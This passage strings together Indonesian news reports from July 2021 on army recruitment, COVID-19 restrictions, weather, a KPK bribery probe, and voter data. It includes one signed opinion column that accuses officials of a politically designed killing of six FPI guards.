Jakarta, FNN - Kepala Staf Angkatan Darat Jenderal TNI Andika Perkasa menegaskan tidak ada pungutan biaya dalam penerimaan calon taruna Akademi Militer 2021. Kasad Jenderal TNI Andika Perkasa dalam siaran TNI AD diterima di Jakarta, Kamis, mengatakan penerimaan prajurit TNI AD mulai dari pendaftaran hingga seleksi dan nantinya terpilih menjadi prajurit, melalui tahapan-tahapan yang sama sekali tidak dipungut biaya. "Karena apa? karena memang tidak ada. Mendaftar dan menjadi peserta seleksi untuk calon taruna Akademi Militer itu tidak dipungut biaya sama sekali,” kata Kasad. Jenderal TNI Andika Perkasa bahkan memberikan nomor kontak para pejabat di lingkungan Mabesad kepada orang tua calon taruna sebagai nomor telepon aduan. Orang tua calon taruna diminta untuk melaporkan jika ditemukan ada orang-orang yang mengklaim bisa membantu meloloskan calon taruna menjadi prajurit dengan cara meminta uang. “Kalau ada apakah Anggota TNI AD atau bahkan bukan anggota tetapi mengklaim bisa membantu dengan cara meminta uang, laporkan ke nomor-nomor handphone yang tadi," kata Kasad Jenderal TNI Andika Perkasa. Nomor yang diberikan antara lain nomor Aspers Kasad, Waaspers Kasad Bid Renpers, dan Paban III/ Binteman, juga nomor hotline yang langsung tersambung ke Mabesad. Kasad juga menyampaikan bahwa proses penerimaan calon taruna bersifat transparan dan terbuka. Para calon taruna yang dinyatakan lulus tentunya mereka yang memenuhi syarat kapasitas dan kualitas sebagai prajurit TNI AD. “Intinya bapak ibu sekalian kami memberikan peluang kepada semuanya, tidak ada yang spesial, semua bisa masuk dan pasti kami memilih mereka-mereka yang memenuhi syarat," ucap Jenderal TNI Andika Perkasa. Kasad mengingatkan ada orang tua dari calon taruna tidak mudah tertipu orang-orang yang tidak bertanggung jawab. Para orang tua menurutnya cukup menyiapkan dan meningkatkan kemampuan anak-anak mereka agar bisa memenuhi syarat saat diseleksi nantinya. "Jangan sampai ada bapak ibu yang nanti kena tipu, karena apa? karena di sinilah kami mengumumkan tidak ada sama sekali soal uang. Bapak ibu siapkan saja putranya, kalau putranya lulus pasti kami akan terima,” ujar Jenderal TNI Andika Perkasa. Kasad Jenderal TNI Andika Perkasa telah melakukan melakukan telekonferensi dengan seluruh orang tua atau wali calon taruna untuk menjelaskan proses penerimaan calon taruna Akademi militer. Telekonferensi berlangsung pada 76 titik yang tersebar diseluruh Markas Komando Daerah Militer (Kodam), hingga Markas Komando Resor Militer (Korem). (sws)

Desain Politik dalam Pembunuhan Enam Anggota Laskar

By M Rizal Fadillah Bandung, FNN - Desain politik adalah temuan utama yang terkuak dari launching Buku Putih "Pelanggaran HAM berat" Tim Pengawal Peristiwa Pembunuhan (TP3) Enam Pengawal HRS Rabu siang tanggal 7 Juli 2021. Sebagai disain politik maka pembunuhan merupakan rangkaian sistematik dari perburuan "musuh politik" Habib Rizieq Shihab. Ketika Amin Rais menyatakan TNI atau Polri bukan sentral maka penegasannya adalah bahwa TNI dan Polri hanya menjadi alat atau bagian dari disain politik tersebut. Pengambil keputusan politik telah melakukan operasi sistematik dengan memperalat penegakkan hukum oleh Polri atas bantuan TNI. Pada tanggal 7 Desember 2020 secepatnya Kapolda Metro bersama Pangdam Jaya melakukan konperensi pers dengan menunjukkan alat alat bukti yang penjelasannya kemudian berubah-ubah. Arahnya adalah agar keenam anggota laskar FPI itu dipersepsikan bersalah dalam peristiwa "tembak menembak" di area jalan tol Jakarta-Cikampek. Disain politik melalui operasi intelijen sampai dibunuhnya keenam anak muda tersebut dilakukan secara sistematis baik dalam waktu yang panjang maupun jam per jam bahkan menit per menit. Operasi dilaksanakan oleh aparat di lapangan atas dasar koordinasi dan surat tugas, bukan inisiatif sendiri. Buku Putih dilaunching TP3 dengan harapan Pemerintah dapat mendorong Komnas HAM dan aparat penegak hukum agar meningkatkan langkah pemrosesan dari pelanggaran HAM biasa menjadi Pelanggaran HAM berat sebagaimana diatur dalam UU No. 26 tahun 2000 tentang Pengadilan HAM. Mengingat disain politik dari pembunuhan berencana tersebut, maka konsekuensi dari temuan Tim sebagaimana yang menjadi konten Buku Putih TP3 itu adalah : Pertama, Komnas HAM harus melanjutkan pekerjaan untuk melakukan penyelidikan pro-justisia dan menyerahkan kesimpulan hasil penyelidikannya langsung kepada penyidik Kejaksaan Agung untuk proses penyidikan dan penuntutan lebih lanjut di Pengadilan HAM. Kedua, sebagai kasus kejahatan kemanusiaan maka dugaan keterlibatan atasan atas pekerjaan bawahan memiliki probabilitas tinggi. Adalah adil dan wajar jika Kapolda Metro Jaya Irjen Pol Fadil Imran dan mantan Pangdam Jaya Mayjen TNI Dudung Abdurahman segera di nonaktifkan terlebih dahulu. Ketiga, TP3 mengajak berbagai elemen masyarakat untuk mengawal dan mengadvokasi kasus pelanggaran HAM berat yang dilakukan aparat agar proses hukum dapat dilaksanakan secara jujur dan transparan. Buku Putih menjadi acuan dari pengawalan bersama tersebut. Keempat, mengingat indikasi adanya kegiatan intelijen, maka pimpinan BIN dapat diminta keterangan bahkan pertanggungjawaban mengenai operasi ini, apakah benar anggota bekerja atas tugas resmi lembaga atau ada operasi lain diluar pertanggungjawaban resmi. Kelima, dengan dugaan adanya disain politik yang menandai pembunuhan enam pengawal HRS, maka Presiden Jokowi patut pula dimintakan keterangan baik melalui kesaksian di Pengadilan HAM maupun dalam proses penggunaan hak-hak politik yang dimiliki oleh anggota maupun lembaga perwakilan rakyat. Kasus pelanggaran HAM berat yang dilakukan aparat dengan melakukan pembunuhan dan penyiksaan kepada enam pengawal HRS adalah kasus serius yang harus dituntaskan. Siapapun yang terlibat baik pelaku maupun aktor intelektual di belakangnya tidak boleh lolos dan berlepas tangan tanpa pertanggungjawaban. Buku Putih "Pelanggaran HAM berat" adalah dokumen penting untuk menguak penggelapan kebenaran dan disain politik jahat penguasa yang terjadi di negara bersendi Ketuhanan Yang Maha Esa dan Kemanusiaan yang Adil dan Beradab. *) Pemerhati Politik dan Kebangsaan

BMKG Jelaskan Penyebab Malam Terasa Lebih Dingin di Pulau Jawa

Jakarta, FNN - Badan Meteorologi Klimatologi dan Geofisika (BMKG) menjelaskan fenomena suhu udara malam yang dirasakan lebih dingin di beberapa daerah di Pulau Jawa disebabkan karena pergerakan udara dingin dan kering dari Australia. BMKG melalui rilis yang diterima di Jakarta, Rabu petang, menyatakan suhu udara dingin merupakan fenomena alamiah yang umum terjadi pada bulan-bulan puncak musim kemarau, yaitu pada Juli-September. Saat ini wilayah Pulau Jawa hingga Nusa Tenggara Timur (NTT) menuju periode puncak musim kemarau. Periode tersebut ditandai pergerakan angin dari arah timur, yang berasal dari Benua Australia. Deputi Bidang Klimatologi BMKG Herizal mengatakan bahwa pada Juli 2021 Australia berada dalam periode musim dingin di mana massa udara menjadi dingin dan kering. Pola tekanan udara yang relatif tinggi di Australia menyebabkan pergerakan massa udara dari Australia menuju Indonesia atau dikenal dengan istilah Monsoon Dingin Australia. "Angin monsoon Australia yang bertiup menuju wilayah Indonesia melewati perairan Samudera Hindia yang memiliki suhu permukaan laut juga relatif lebih dingin, sehingga menyebabkan suhu di beberapa wilayah di Indonesia terutama bagian selatan khatulistiwa (Jawa, Bali, dan Nusa Tenggara) terasa juga lebih dingin," kata Herizal. Selain dampak angin dari Australia, berkurangnya awan dan hujan di Pulau Jawa hingga Nusa Tenggara turut berpengaruh terhadap suhu yang dingin di malam hari karena tidak adanya uap air dan air menyebabkan energi radiasi yang dilepaskan oleh bumi pada malam hari tidak tersimpan di atmosfer. Kemudian langit yang cenderung bersih dari awan akan menyebabkan gelombang panjang radiasi sinar matahari dilepaskan ke atmosfer luar. "Sehingga kemudian membuat udara dekat permukaan terasa lebih dingin terutama pada malam hingga pagi hari. Hal ini yang kemudian membuat udara terasa lebih dingin terutama pada malam hari," katanya menambahkan. Sejumlah masyarakat juga menghubungkan fenomena udara dingin tersebut dengan "aphelion" atau posisi matahari yang berada pada titik terjauh dari bumi. Aphelion merupakan fenomena astronomis yang terjadi setahun sekali pada kisaran bulan Juli. Ia mengonfirmasi bahwa matahari saat ini berada pada titik aphelion namun kondisi tersebut tidak berpengaruh banyak pada fenomena atmosfer permukaan. "Sementara itu, pada waktu yang sama, secara umum wilayah Indonesia berada pada periode musim kemarau. Hal ini menyebabkan seolah aphelion memiliki dampak yang ekstrem terhadap penurunan suhu di Indonesia," katanya. Dampak penurunan suhu ekstrem tersebut, kata Herizal, juga dapat menyebabkan beberapa tempat seperti Dieng dan dataran tinggi lainnya mengalami fenomena embun es atau embun upas yang menyerupai salju. Sementara itu, Deputi Bidang Meteorologi BMKG Guswanto mengatakan berdasarkan pengamatan BMKG, saat ini rata-rata suhu minimum dan maksimum di wilayah Indonesia bagian selatan ekuator seperti Jawa, Bali dan Nusa Tenggara, umumnya lebih rendah dibandingkan dengan wilayah lain yang berada di utara atau di sekitar garis khatulistiwa. "Suhu udara minimum berkisar antara 14-21 derajat Celcius dengan suhu terendah tercatat di Maumere, NTT dan Tretes, Kabupaten Pasuruan, Jatim," katanya. (mth)

Gubernur Sumut: Belum Ada Larangan Beribadah di Tempat Ibadah

Medan, FNN - Gubernur Sumatera Utara Edy Rahmayadi menyebutkan pihaknya belum mengeluarkan larangan kegiatan beribadah di tempat ibadah selama pemberlakukan pembatasan kegiatan masyarakat (PPKM) mikro yang diperpanjang kembali dari 6-20 Juli 2021. "Tidak ada larangan beribadah di tempat ibadah. Namun diminta penerapan protokol kesehatan dilakukan dengan ketat," ujarnya di Medan, Rabu. Gubernur menegaskan jika pun rumah ibadah itu harus ditutup, maka itu merupakan hasil evaluasi satgas penanganan COVID-19 kabupaten/kota masing-masing. Dia mengakui, sesuai instruksi Mendagri Nomor 17 tahun 2021 dan Instruksi Gubernur Sumatera Utara No 288.54/26/INS/2021, untuk wilayah yang berada di level 4, pelaksanaan ibadah di rumah ibadah ditiadakan. Namun, kata Edy, semuanya tergantung kondisi daerah. Jika pemerintah daerah menyatakan penyebaran COVID-19 masih aman dan terkendali, maka kegiatan keagamaan tetap dapat dilaksanakan di rumah ibadah dengan persyaratan dan protokol kesehatan yang ketat. "Yang pasti, saat ini penyebaran COVID-19 di Sumut masih relatif terkendali. Peningkatan kasus COVID-19 di Sumut belum mengarah untuk sampai menutup tempat-tempat ibadah," ujar Edy Rahmayadi,.yang didampingi Kepala Dinas Komunikasi dan Informatika Sumut Irman Oemar. Meskipun demikian, ujar Edy, dua kota di Sumut, yakni Medan dan Sibolga, masuk dalam katagori beredar di level 4. Biahkan, cakupan PPKM mikro di Sumut bertambah dua, yakni Sibolga dan Padang Sidempuan dari sebelumnya 10, yaitu Medan, Binjai, Tebingtinggi, Pematangsiantar, Deliserdang, Serdangbedagai, Simalungun, Langkat, Dairi dan Karo, Gubernur menyebutkan, penerapan protokol kesehatan 5M, yakni memakai masker, mencuci tangan menggunakan sabun, menjaga jarak, menghindari kerumunan, dan mengurangi mobilitas secara ketat masih merupakan cara yang paling ampuh untuk mencegah penyebaran COVID-19. "Selain itu warga harus divaksin. Masyarakat Sumut, khususnya di Kota Medan dan Sibolga, yang berada di. level 4," katanya. (mth)

Pemkab Usulkan Penerbangan Pasaman Barat-Pekanbaru Dua Kali Seminggu

Simpang Empat, FNN - Pemerintah Kabupaten Pasaman Barat, Sumatera Barat (Sumbar) melalui Dinas Perhubungan mengusulkan penerbangan rute Pasaman Barat-Pekanbaru dengan frekuensi dua kali seminggu mulai tahun 2022. "Saat ini jadwal penerbangan hanya satu kali dalam seminggu setiap Rabu ke Pekanbaru," kata Kepala Dinas Perhubungan Pasaman Barat Rizaldi melalui Kepala Bandara Pusako Anak Nagari Eva Wardi Putra di Simpang Empat, Rabu. Ia mengatakan pengusulan penambahan jadwal penerbangan itu mengingat kebutuhan masyarakat menuju Pekanbaru. Saat ini, jadwal penerbangan setiap Rabu dari Pekanbaru-Pasaman Barat pukul 09.05 WIB dan Pasaman Barat-Pekanbaru pukul 10.20 WIB menggunakan pesawat Susi Air. "Kalau bisa tentu jadwal penerbangan dua kali dalam seminggu dengan hari yang berbeda," katanya. Jika jadwal penerbangan ditambah setiap Jumat maka kemungkinan penumpang akan bertambah karena jadwal terakhir masyarakat bekerja sebelun libur Sabtu dan Minggu. Pengusulan tambahan jadwal penerbangan itu telah disampaikan ke Kementrian Perhubungan melalui KPA Dabo Singkep. Dia menyebutkan sekali penerbangan bisa membawa sebanyak 12 orang penumpang dengan anggaran subsidi pemerintah pusat. "Akses penerbangan ini sangat bermanfaat dan mempersingkat waktu menuju Pekanbaru yang hanya 45 menit. Jika menggunakan jalur darat bisa menempuh sembilan jam perjalanan," katanya. Keberadaan bandara ini dilakukan untuk mempermudah dan mempercepat hubungan masyarakat melalui transportasi udara dari Pasaman Barat menuju Pekanbaru. "Mudah-mudahan penerbangan dapat lancar dan mempermudah masyarakat nantinya" katanya. Bandara Pusako Anak Nagari ini, katanya, adalah suatu kebanggaan bagi Pasaman Barat karena satu-satunya kabupaten atau kota di Sumbar yang memiliki Bandara Udara. "Jumlah penumpang hingga awal Juli 2021 ini mencapai 80 orang. Jika penerbangan dua kali seminggu kemungkinan jumlah penumpang akan bertambah," katanya. (mth)

Anies Tepat Prediksikan 100.000 Kasus COVID-19 pada Pekan Kedua Juli

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan memprediksikan secara tepat terkait jumlah kasus aktif COVID-19 di Jakarta akan menembus 100.000 orang pada pekan kedua Juli 2021. Berdasarkan data dari Dinas Kesehatan DKI Jakarta, Rabu, kasus aktif COVID-19 yang isolasi mandiri atau menjalani rawat inap mencapai 100.062 orang sesuai penambahan kasus hari ini sebanyak 9.366 orang sehingga total kasus konfirmasi positif sebanyak 610.303 kasus. Sementara pertambahan pasien sembuh mencapai 3.707 orang dan tambahan korban meninggal dunia sebanyak 181 orang. Sebelumnya, Anies menyampaikan prediksikan kasus aktif COVID-19 di Jakarta menembus 100.000 orang itu saat rapat dengan Kemenko Kemaritiman dan Investasi yang membahas penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat pada Selasa (29/6). Saat itu, Anies menjelaskan bahwa apabila tidak dilakukan pengetatan segera, maka 100.000 kasus aktif di Jakarta akan tercapai antara 6-10 Juli 2021, sekaligus merevisi perkiraan sebelumnya kasus aktif COVID-19 di Jakarta akan menembus 100 ribu orang sekitar 8-13 Juli 2021. Karena prediksi tersebut, Anies menilai ada beberapa langkah yang perlu dilakukan, yakni Rumah Sakit Kelas A dikhususkan sepenuhnya untuk ICU COVID-19 dan Rumah Sakit Darurat COVID-19 Wisma Atlet Kemayoran khusus untuk penanganan pasien dengan gejala sedang-berat. Lalu, rumah susun diubah menjadi fasilitas isolasi terkendali untuk pasien dengan gejala ringan, mengubah stadion "indoor" dan gedung konvensi besar menjadi rumah sakit darurat penanganan kasus darurat kritis yang diusulkan untuk dalam satu manajemen di bawah RSDC Wisma Atlet. Selanjutnya juga memastikan kebutuhan tenaga kesehatan terpenuhi termasuk penambahan tenaga kesehatan dari luar DKI Jakarta, serta memastikan ketersediaan oksigen medis, Alat Pelindung Diri (APD), alat kesehatan, dan obat-obatan. (mth)

NTB Berpeluang Jadi Daerah Swasembada Telur dan Daging Nasional

Mataram, FNN - Gubernur Nusa Tenggara Barat, H Zulkieflimansyah, menegaskan bahwa wilayah itu berpeluang menjadi lokasi swasembada telur dan daging nasional karena mempunyai potensi sumber daya bahan baku untuk pembuatan pakan unggas. "Kita memiliki jagung, dedak dan bahan baku lainnya. Nggak ada cerita kalau NTB nggak bisa swasembada telur dan daging," kata Gubernur Bang Zul, didampingi Bupati Dompu, Kader Jaelani, saat meninjau pabrik pakan unggas dalam keterangan tertulis di terima wartawan di Mataram, Rabu. Menurut dia, industrialisasi dalam bidang pakan ternak menjadi mungkin karena ada demand dan internal market yang memadai. Terlebih lagi, kehadiran pabrik pakan unggas merupakan bukti nyata, bahwa semua bisa dilakukan di NTB ini. Bahkan, lanjut dia, pabrik pakan ini dapat menjadi contoh agar dapat dibangun juga di kabupaten/kota di NTB lain, yang ikut memiliki potensi bahan baku. "Pak Bupati sangat bersemangat melihat geliat industrialisasi di Dompu ini," ucapnya. Ia memastikan konsep industrialisasi tersebut bukan hanya dalam konteks pembangunan pabrik-pabrik besar. Tetapi disederhanakan sebagai upaya melakukan hilirisasi atau pengolahan seluruh bahan baku yang tersedia di NTB menjadi produk jadi. Salah satu contohnya adalah dedak atau jagung yang dapat diolah menjadi pakan atau olahan lain. Dengan hilirisasi tersebut, maka petani tidak perlu lagi menjual bahan mentah ke pabrikan di luar NTB. Melalui proses pengolahan bahan baku ini, banyak jasa yang terlibat. Satu dengan yang lainnya saling terkait dan saling bergerak untuk mendapatkan nilai tambah. "Itulah industrialisasi yang dimaksudkan. Mendorong sektor ekonomi dan meningkatkan kesejahteraan masyarakat," katanya. (mth)

Satpol PP DIY Dorong DPRD Susun Perda Penegakan Protokol Kesehatan

Yogyakarta, FNN - Kepala Satuan Polisi Pamong Praja (Satpol PP) Daerah Istimewa Yogyakarta Noviar Rahmad mendorong DPRD segera menyusun Peraturan Daerah (Perda) tentang Penegakan Protokol Kesehatan agar penindakan pelanggaran bisa efektif. "Kami mendesak DPRD DIY membuat payung hukum dalam bentuk perda," kata Noviar saat konferensi pers secara virtual bersama Forum Wartawan Kepatihan Yogyakarta, Rabu. Selama ini penegakan prokes di DIY mengacu Peraturan Gubernur Nomor 24 Tahun 2021 tentang Penerapan Disiplin dan Penegakan Hukum Protokol Kesehatan. Dalam pergub tersebut, sanksi untuk pelanggar perorangan hanya mencakup teguran lisan hingga sanksi kerja sosial, sedangkan sanksi untuk kegiatan usaha dan fasilitas umum mencakup teguran lisan hingga penutupan sementara. Ia menilai seluruh sanksi tersebut belum memberikan efek jera terhadap para pelanggar. Buktinya saat penerapan PPKM darurat, pelanggaran masih tinggi. "Rata-rata 100 pelanggaran per hari karena (sejak 3 Juli 2021) hingga hari ini sudah terjadi lebih dari 600 pelanggaran," kata Noviar yang juga Koordinator Bidang Penegakan Hukum Satgas COVID-19 DIY. Dengan memiliki Perda Penegakan Protokol Kesehatan terhadap para pelanggar, katanya,. maka sanksi bisa dijatuhkan hingga pemberian denda dan tindak pidana ringan (tipiring). "Pelanggaran ini bisa kita bawa secara yustisi ke pengadilan, baik sifatnya tipiring atau peradilan singkat," kata dia. Meski dalam Undang-Undang Nomor 6 Tahun 2018 terkait karantina kesehatan telah mengatur mengenai sanksi denda, namun aturan tersebut hanya dapat diterapkan apabila DIY menerapkan PSBB. "Untuk itu kami berharap bisa segera ditetapkan Perda Penegakan Protokol Kesehatan agar bisa dilakukan dengan tipiring karena proses tipiring lebih cepat. Apakah hakim memutuskan hukuman badan atau denda, itu bisa dilakukan," ujar Noviar. (sws)

KPK Periksa Empat Mantan Anggota DPRD Jambi Dalami Penerimaan Uang

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) memeriksa empat mantan Anggota DPRD Jambi untuk mendalami dugaan penerimaan sejumlah uang dalam penyidikan kasus dugaan suap terkait pengesahan RAPBD Provinsi Jambi Tahun 2017. Empat mantan Anggota DPRD Jambi tersebut, yaitu Fakhrurozi, Arrakhmat Eka Putra, Wiwid Iswhara, dan Zainul Arfan. KPK memeriksa mereka di Gedung KPK, Jakarta, Rabu. "Keempatnya diperiksa untuk saling menjadi saksi. Tim penyidik mendalami terkait dengan dugaan penerimaan sejumlah uang oleh para saksi dari pihak yang terkait dengan perkara ini," ujar Pelaksana Tugas Juru Bicara KPK Bidang Pencegahan Ipi Maryati Kuding dalam keterangannya, di Jakarta, Rabu. Keempatnya juga telah ditetapkan sebagai tersangka kasus tersebut, namun KPK memeriksa mereka dalam kapasitas sebagai saksi. KPK, Kamis (17/6) lalu, telah mengumumkan empat orang tersebut sebagai tersangka. Dalam konstruksi perkara, diduga para unsur pimpinan DPRD Jambi meminta uang "ketok palu", menagih kesiapan uang "ketok palu", melakukan pertemuan untuk membicarakan hal tersebut, meminta jatah proyek dan/atau menerima uang dalam kisaran Rp100 juta atau Rp600 juta per orang. Para unsur pimpinan fraksi dan komisi di DPRD Jambi diduga mengumpulkan anggota fraksi untuk menentukan sikap terkait dengan pengesahan RAPBD Jambi, membahas, dan menagih uang "ketok palu", menerima uang untuk jatah fraksi sekitar dalam kisaran Rp400 juta hingga Rp700 juta untuk setiap fraksi, dan/atau menerima uang untuk perorangan dalam kisaran Rp100 juta, Rp140 juta atau Rp200 juta. Khusus untuk para tersangka yang duduk di Komisi III diduga telah menerima masing-masing Fakhrurozi sekitar Rp375 juta, Arrakhmat Eka Putra sekitar Rp275 juta, Wiwid Iswhara sekitar Rp275 juta, dan Zainul Arfan Sekitar Rp375 juta. Sebelumnya dalam kasus tersebut, KPK telah menetapkan 18 tersangka dan saat ini telah diproses hingga persidangan. Adapun para pihak yang diproses tersebut terdiri dari Gubernur, pimpinan DPRD, pimpinan fraksi DPRD, dan pihak swasta. Kasus tersebut diawali dengan kegiatan tangkap tangan pada 28 November 2017. Dalam perkembangannya, KPK mengungkap bahwa praktik uang "ketok palu" tersebut tidak hanya terjadi untuk pengesahan RAPBD Tahun Anggaran 2018, namun juga terjadi sejak pengesahan RAPBD Tahun Anggaran 2017. (sws)

Wonosobo Lakukan Penyekatan di Sejumlah Titik Perbatasan

Wonosobo, FNN - Tim gabungan di Kabupaten Wonosobo, Jawa Tengah, terdiri atas Polres, Kodim, Satpol PP, dan Dinas Perkimhub melakukan penyekatan di sejumlah titik perbatasan antardaerah terkait pelaksanaan pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat. Kabag Ops Polres Wonosobo AKP Harjono di Wonosobo, Rabu, menyampaikan Pemkab Wonosobo bersama TNI dan Polri mengambil langkah tegas dalam rangka menekan laju penyebaran COVID-19 yang mengalami lonjakan akhir-akhir ini. Selama masa PPKM darurat sejumlah ruas jalan yang menjadi pintu masuk Wonosobo dilakukan penyekatan dan dijaga puluhan personel gabungan untuk memudahkan pemeriksaan bagi para pelintas. Harjono menyebutkan penyekatan dilakukan di perbatasan Wonosobo-Banjarnegara atau di Pos Terminal Sawangan, Dieng, dan Kledung. Ia menegaskan pihaknya tidak kompromi kepada siapa pun yang melintas tidak dapat menunjukkan bukti surat keterangan sehat atau bukti surat keterangan telah vaksin diminta untuk putar balik. "Mohon pengertiannya, kami tegaskan bahwa untuk para pelintas yang hendak masuk Kabupaten Wonosobo, wajib menunjukkan surat keterangan sehat atau surat bukti telah divaksin kepada para petugas dan kalau tidak memiliki maka harus putar balik," katanya. Ia menyampaikan pertimbangan penyekatan di perbatasan ini demi menurunkan potensi risiko penyebaran COVID-19, yang hingga saat ini telah menginfeksi sekitar 8.600 orang di Kabupaten Wonosobo, 370 orang di antaranya meninggal dunia. Laju penambahan kasus COVID-19, katanya, dari hari ke hari sangat mengkhawatirkan, bahkan pada hari ini tercatat kasus terkonfirmasi positif mencapai 329 orang. Menurut dia, dengan upaya melakukan penyekatan tersebut, pemerintah berharap masyarakat juga menyadari adanya ancaman bahaya COVID-19 yang kini telah menyebabkan pelemahan pada segala sendi kehidupan itu. "Kami imbau agar seluruh masyarakat benar-benar berhati-hati dengan menjalankan protokol kesehatan secara disiplin, kenakan masker saat keluar rumah, kurangi aktivitas yang tidak terlalu mendesak dan penting, jauhi keramaian dan kerumunan, serta jaga jarak dan selalu mencuci tangan menggunakan sabun atau hand sanitizer," katanya. Ia menyampaikan, selain di perbatasan antardaerah, penyekatan juga akan dilakukan di sejumlah ruas jalan protokol di wilayah kota Wonosobo. Sejumlah titik yang menjadi akses masuk kota, seperti Simpang Plaza, Simpang Klentheng, dan beberapa ruas lainnya akan ditutup pada malam hari. "Masyarakat diimbau untuk tidak masuk kota Wonosobo saat mulai diberlakukan jam malam, yaitu pukul 20.00 WIB sehingga potensi-potensi kerumunan akan dapat ditekan," katanya. Selama masa PPKM darurat pada 3-20 Juli 2021, pihaknya juga meminta agar para pelaku usaha memahami batas waktu operasional pada pukul 20.00 WIB, kecuali untuk sektor usaha-usaha esensial seperti apotek 24 jam atau stasiun pengisian BBM. (sws)

Kota Bogor Berlakukan Penyekatan Kendaraan Bermotor 24 Jam

Bogor, FNN - Satgas Penanganan COVID-19 Kota Bogor memberlakukan penyekatan kendaraan bermotor masuk ke Kota Bogor pada pelaksanaan PPKM Darurat di Kota Bogor selama 24 jam mulai Rabu hari ini. Warga dari luar Kota Bogor yang masuk ke Kota Bogor tanpa tujuan penting atau hanya sekadar jalan-jalan, maka diminta untuk memutarbalik," kata Bima Arya saat menjadi narasumber pada diskusi virtual "PPKM Darurat: Lindungi Keluarga" di Kota Bogor, Rabu. Menurut Bima, diberlakukannya penyekatan kendaraan bermotor di Kota Bogor selama 24 jam dan dengan wilayah yang lebih luas, sasarannya untuk menurunkan mobilitas warga sampai 50 persen, guna menekan kasus positif COVID-19 yang melonjak tinggi. Warga yang tidak bekerja pada sektor esensial dan kritikal serta tidak memiliki kepentingan yang mendesak, katanya, maka kendaraannya diminta untuk diputarbalik arah. "Dengan pelaksanaan penyekatan bermotor 24 jam ini, maka warga dari luar Kota Bogor yang hanya sekadar ingin jalan-jalan ke Bogor, tidak bisa masuk ke Kota Bogor," katanya. Menurut dia, Satgas Penanganan COVID-19 Kota Bogor menyiapkan lokasi penyekatan di banyak tempat, sampai ke batas kota. Sebelumnya, Satgas melakukan penyekatan kendaraan bermotor pada malam hari, pukul 21:00 WIB hingga 24.00 WIB. "Pada pelaksanaan penyekatan di malam hari, sudah menurunkan mobilitas warga sampai sekitar 20 persen. Namun, hal ini belum efektif menekan lonjakan kasus positif COVID-19," katanya. Sebelumnya, Kapolresta Bogor Kota Kombes Pol Susatyo, di Kota Bogor, Selasa (6/7), mengatakan Satgas Penanganan COVID-19 Kota Bogor memperluas dan memperketat pelaksanaan penyekatan kendaraan bermotor dengan menambah enam lokasi penyekatan di batas kota. "Dari hasil evaluasi pelaksanaan PPKM Darurat di Kota Bogor, selama tiga hari pada 3-5 Juli 2021, disimpulkan bahwa mobilitas warga menurun 21 persen," katanya. Menurut Susatyo, persentase penurun mobilitas warga tersebut dinilai belum optimal untuk menekan lonjakan kasus positif COVID-19 sehingga perlu diturunkan sampai 50 persen. Untuk menurunkan mobilitas warga sampai 50 persen tersebut, kata dia, Satgas Penanganan COVID-19 Kota Bogor sepakat, untuk memperluas dan memperketat pelaksanaan penyekatan kendaraan bermotor. "Kalau sebelumnya dilakukan penyekatan di 10 lokasi di dalam kota pada pukul 21:00 Wib hingga 24:00 WIB, maka mulai Selasa (6/7) ditambah dengan enam lokasi penyekatan di batas kota," katanya. Susatyo menambahkan, pelaksanaan penyekatan kendaraan bermotor agar lebih efektif maka Satgas Penanganan COVID-19 Kota Bogor telah berkoordinasi dengan Satgas Penanganan COVID-19 Kabupaten Bogor untuk melakukan penyekatan bersama di wilayah Bogor Raya. (sws)

KPU: Daftar Pemilih Berkelanjutan di Kalteng Capai 1,7 Juta Lebih

Palangka Raya, FNN - Ketua Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Tengah Harmain Ibrohim mengatakan rekapitulasi daftar pemilih berkelanjutan di provinsi setempat pada semester I 2021 tercatat 1.706.297 pemilih. "Pemilih ini terdiri dari 875.516 laki-laki dan 830.781 perempuan. Data ini terdapat penambahan 7.848 pemilih dibandingkan dengan DPT Pilgub 2020 sebanyak 1.698.449 orang," kata Harmain di Palangka Raya, Rabu. Dia mengatakan pada daftar tersebut terdapat pemilih baru 12.028 dengan rincian 5.957 laki-laki dan 6.071 perempuan. Kemudian juga tercatat pemilih tidak memenuhi syarat (TMS) terdiri dari pemilih meninggal 1.314 orang, pemilih ganda 14 orang, pindah domisili 2.824 orang, pemilih TNI 3 orang dan Pemilih Polri 25 orang. "Data tersebut tersebar di 14 Kabupaten/Kota, 136 Kecamatan, 1.572 Kelurahan/Desa, 6.045 TPS yang ada di wilayah Provinsi Kalimantan Tengah," kata Harmain. Pernyataan itu diungkapkan dia terkait pelaksanaan rapat koordinasi pemutakhiran data pemilih berkelanjutan wilayah Provinsi Kalimantan Tengah. Rapat yang dilaksanakan daring dan luring itu turut dihadiri pihak KPU se-Kalteng, Partai Politik Peserta Pemilu 2019, Dinas Kependudukan dan Pencatatan Sipil Provinsi Kalimantan Tengah serta beberapa instansi terkait yaitu Biro Administrasi, Badan Kesbangpol Linmas, dan Dinas Pemberdayaan Masyarakat dan Desa, serta Korem 102 Panju Panjung. Dia mengungkapkan pemutakhiran data tersebut telah telah dilakukan sejak bulan Mei 2021 setelah selesainya tahapan Pemilihan Gubernur dan Wakil Gubernur Kalimantan Tengah 2020. Tahapan tersebut dilaksanakan diawali dengan verifikasi pemilih tambahan di Daftar Pemilih Tambahan (DPTb) dalam Pemilihan yaitu Pemilih yang belum terdaftar dalam DPT dan menggunakan hak pilih dengan menunjukkan KTP Elektronik. Proses ini dilakukan oleh seluruh KPU se-Kalteng. KPU Kabupaten/Kota kemudian melakukan kegiatan pemutakhiran data pemilih secara berkala dengan berkoordinasi dengan instansi pemerintah daerah yang menangani administrasi kependudukan, kematian/pemakaman, dan instansi lain terkait. Masyarakat juga dapat memberikan masukan dengan menghubungi KPU di daerah secara langsung atau melalui saluran komunikasi yang disediakan. KPU Kabupaten/Kota juga berkoordinasi dengan instansi, seperti TNI/Polri, pengadilan setingkat, untuk mendapatkan data pemilih baru, seperti purnawirawan TNI/Polri atau pemilih yang dicabut hak pilihnya. "Kegiatan ini juga dilakukan dengan memanfaatkan kemajuan teknologi data dan informasi dengan dasar keterbukaan informasi sehingga dapat mengurangi kecurigaan pemilih dan mengurangi potensi manipulasi data," katanya. Harmain mengatakan pemutakhiran data pemilih berkelanjutan dilaksanakan guna memperbaharui data pemilih seperti menambahkan pemilih baru yang belum terdaftar di daftar pemilih, pemilih yang sudah tidak memenuhi syarat, dan perubahan elemen data pemilih 